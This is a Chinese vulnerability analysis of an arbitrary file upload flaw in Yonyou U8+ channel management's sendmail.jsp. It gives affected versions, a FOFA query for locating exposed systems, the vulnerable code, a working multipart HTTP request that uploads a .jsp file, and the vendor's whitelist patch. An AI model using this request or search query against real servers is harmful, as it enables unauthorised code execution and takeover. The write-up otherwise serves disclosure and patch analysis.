漏洞简介
用友U8+是用友公司推出的企业管理软件套件,广泛应用于财务、供应链、人力资源等多个业务领域。在U8+渠道管理(高级版)模块中,存在一处文件上传漏洞,位于其 sendmail.jsp 文件中。攻击者可通过构造特定的HTTP请求,将恶意脚本或可执行文件上传至服务器。该漏洞可能导致攻击者在目标服务器上执行任意代码,从而获取服务器控制权限,进一步窃取敏感数据、篡改业务数据或对内网其他系统发起攻击。
影响版本
V18, V16.5, V16.1, V16.0, V15.1, V15.0, V13
fofa语法
title="渠道管理(高级版)"
漏洞分析
根据补丁变化

直接看 sendmail.jsp 文件里有关文件处理的实现逻辑
<%
com.gxfcsoft.framework.base.upload.Upload myUpload=new com.gxfcsoft.framework.base.upload.Upload();
myUpload.initialize(pageContext);
myUpload.upload();
String touser = myUpload.getRequest().getParameter("touser");
String subject = myUpload.getRequest().getParameter("subject");
String discerptesend =myUpload.getRequest().getParameter("discerptesend");
String affix = myUpload.getFiles().getFile(0).getFileName();
String body = myUpload.getRequest().getParameter("body");
int iCount = myUpload.getFiles().getFile(0).getSize();
//System.out.println("iCount="+iCount);
String path = com.gxfcsoft.framework.base.util.PathUtil.getUserFile()+"messageserv"+java.io.File.separator;
String fileFullName = "";
if (iCount != 0) {
String fieldID = com.gxfcsoft.framework.base.util.UUID.getID();
if(affix.indexOf(".")!=-1)
fieldID +=affix.substring(affix.lastIndexOf("."));
myUpload.saveAs(path, fieldID);
fileFullName = path+fieldID;
}
%>
文件后缀从上传文件名中获取,然后拼接到uuid后面形成新的文件名,期间对文件类型和内容无校验或过滤,因此造成任意文件上传漏洞,非常朴实无华!
漏洞复现
POST /business/ums/sendmail.jsp HTTP/1.1
Host: u8.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="touser"
[email protected]
------WebKitFormBoundary
Content-Disposition: form-data; name="subject"
test
------WebKitFormBoundary
Content-Disposition: form-data; name="discerptesend"
test
------WebKitFormBoundary
Content-Disposition: form-data; name="body"
test
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.jsp"
UPLOAD_TEST
------WebKitFormBoundary--
在响应里成功回显上传文件的完整路径,直接访问

访问上传文件

官方补丁修复也很直接,直接正则检测后缀是否为白名单
String[] allowedExts = {
"text", "txt", "doc", "wps", "docx", "xls", "xlsx", "pdf", "zip",
"ppt", "jpeg", "png", "gif", "jpg", "rar", "xml", "svg"
};
boolean isValid = false;
for (String ext : allowedExts) {
if (suffix.equals(ext)) {
isValid = true;
break;
}
}
if (isValid) {
fileFullName = path + fieldID + "." + suffix;
} else {
fileFullName = ""; // 不合法后缀,避免使用
}


